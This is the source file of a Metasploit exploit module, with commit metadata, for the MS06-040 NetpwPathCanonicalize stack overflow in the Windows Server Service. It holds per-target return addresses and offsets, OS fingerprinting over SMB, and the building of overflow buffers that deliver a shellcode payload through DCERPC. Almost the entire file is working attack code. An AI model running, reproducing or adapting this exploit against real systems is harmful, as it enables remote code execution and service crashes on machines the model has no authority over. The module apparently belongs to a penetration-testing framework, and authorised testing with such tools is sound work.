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Port of the 2.x version
git-svn-id: file:///home/svn/framework3/trunk@3826 4d416f70-5f16-0410-b530-b9f4589650da
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HD Moore
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modules/exploits/windows/smb/ms06_040_netapi.rb
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258
modules/exploits/windows/smb/ms06_040_netapi.rb
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require 'msf/core'
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module Msf
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class Exploits::Windows::Smb::MS06_040_NETAPI < Msf::Exploit::Remote
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include Exploit::Remote::DCERPC
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include Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft NetpwPathCanonicalize MS06-040 Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the NetApi32 CanonicalizePathName() function
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using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
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other RPC calls could be used to exploit this service. This exploit will result in
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a denial of service on on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt
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will likely result in a complete reboot on Windows 2000 and the termination of all
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SMB-related services on Windows XP. The default target for this exploit should succeed
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on Windows NT 4.0, Windows 2000 SP0-SP4+, and Windows XP SP0-SP1.
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},
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'Author' =>
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[
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'hdm'
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision: 3720 $',
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'References' =>
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[
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[ 'BID', '19409' ],
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[ 'CVE', '2006-3439' ],
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[ 'MSB', 'MS06-040' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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# Technically we can use more space than this, but by limiting it
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# to 370 bytes we can use the same request for all Windows SPs.
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'Space' => 370,
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'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'DefaultTarget' => 0,
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'Targets' =>
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[
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[ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', { } ],
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[ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4',
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{
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'Offset' => 1000,
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'Ret' => 0x00020804
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}
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],
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[ '(wcscpy) Windows XP SP0/SP1',
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{
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'Offset' => 612,
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'Ret' => 0x00020804
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}
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],
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[ '(stack) Windows XP SP1 English',
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{
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'OffsetA' => 656,
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'OffsetB' => 680,
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'Ret' => 0x71ab1d54 # jmp esp @ ws2_32.dll
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}
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],
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[ '(stack) Windows XP SP1 Italian',
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{
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'OffsetA' => 656,
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'OffsetB' => 680,
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'Ret' => 0x71a37bfb # jmp esp @ ws2_32.dll
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}
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],
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],
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'DisclosureDate' => 'Aug 8 2006'))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
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], self.class)
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end
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def exploit
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connect()
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smb_login()
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if (target.name =~ /Automatic/)
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case smb_peer_os()
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when 'Windows 5.0'
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print_status("Detected a Windows 2000 target")
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target = targets[1]
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when 'Windows NT 4.0'
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print_status("Detected a Windows NT 4.0 target")
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target = targets[1]
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when 'Windows 5.1'
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begin
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smb_create("\\SRVSVC")
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print_status("Detected a Windows XP SP0/SP1 target")
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rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
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if (e.error_code == 0xc0000022)
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print_status("Windows XP SP2 is not exploitable")
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return
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end
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print_status("Detected a Windows XP target (unknown patch level)")
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end
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target = targets[2]
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when /Windows Server 2003 (\d+)$/
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print_status("Windows 2003 SP0 is not supported")
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return
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when /Windows Server 2003 (\d+) Service Pack (\d+)/
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print_status("Windows 2003 SP#{$2} is not exploitable")
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return
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when /Samba/
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print_status("Samba is not vulnerable")
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return
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else
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print_status("No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")
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return
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end
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end
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handle = dcerpc_handle(
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'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
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'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
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)
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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#
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# /* Function 0x1f at 0x767e912c */
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# long function_1f (
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# [in] [unique] [string] wchar_t * arg_00,
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# [in] [string] wchar_t * arg_01,
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# [out] [size_is(arg_03)] char * arg_02,
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# [in] [range(0, 64000)] long arg_03,
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# [in] [string] wchar_t * arg_04,
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# [in,out] long * arg_05,
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# [in] long arg_06
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# );
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#
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print_status("Building the stub data...")
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stub = ''
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case target.name
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when /wcscpy.*Windows 2000/
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code = make_nops(target['Offset'] - payload.encoded.length) + payload.encoded
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path = code + ( [target.ret].pack('V') * 16 ) + "\x00\x00"
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stub =
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NDR.long(rand(0xffffffff)) +
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NDR.UnicodeConformantVaryingString('') +
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NDR.UnicodeConformantVaryingStringPreBuilt(path) +
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NDR.long(rand(0xf0)+1) +
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NDR.UnicodeConformantVaryingStringPreBuilt("\xeb\x02\x00\x00") +
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NDR.long(rand(0xf0)+1) +
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NDR.long(0)
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when /wcscpy.*Windows XP/
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path =
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# Payload goes first
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payload.encoded +
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# Padding
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Rex::Text.rand_text_alphanumeric(target['Offset'] - payload.encoded.length) +
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# Land 6 bytes in to bypass garbage (XP SP0)
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[ target.ret + 6 ].pack('V') +
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# Padding
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Rex::Text.rand_text_alphanumeric(8) +
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# Address to write our shellcode (XP SP0)
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[ target.ret ].pack('V') +
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# Padding
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Rex::Text.rand_text_alphanumeric(32) +
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# Jump straight to shellcode (XP SP1)
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[ target.ret ].pack('V') +
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# Padding
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Rex::Text.rand_text_alphanumeric(8) +
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# Address to write our shellcode (XP SP1)
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[ target.ret ].pack('V') +
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# Padding
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Rex::Text.rand_text_alphanumeric(32) +
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# Terminate the path
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"\x00\x00"
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stub =
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NDR.long(rand(0xffffffff)) +
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NDR.UnicodeConformantVaryingString('') +
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NDR.UnicodeConformantVaryingStringPreBuilt(path) +
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NDR.long(rand(0xf0)+1) +
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NDR.UnicodeConformantVaryingString('') +
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NDR.long(rand(0xf0)+1) +
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NDR.long(0)
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when /stack/
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buff = Rex::Text.rand_text_alphanumeric(800)
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buff[0, payload.encoded.length] = payload.encoded
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buff[ target['OffsetA'], 4 ] = [target.ret].pack('V')
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buff[ target['OffsetB'], 5 ] = "\xe9" + [ (target['OffsetA'] + 5) * -1 ].pack('V')
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path = "\\\x00\\\x00" + buff + "\x00\x00"
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stub =
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NDR.long(rand(0xffffffff)) +
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NDR.UnicodeConformantVaryingString('') +
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NDR.UnicodeConformantVaryingStringPreBuilt(path) +
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NDR.long(rand(0xf0)+1) +
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NDR.UnicodeConformantVaryingString('') +
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NDR.long(rand(0xf0)+1) +
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NDR.long(0)
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end
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print_status("Calling the vulnerable function...")
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begin
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dcerpc.call(0x1f, stub)
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dcerpc.call(0x1f, stub)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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rescue => e
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if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
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raise e
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end
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end
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# Cleanup
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handler
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disconnect
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end
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end
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end
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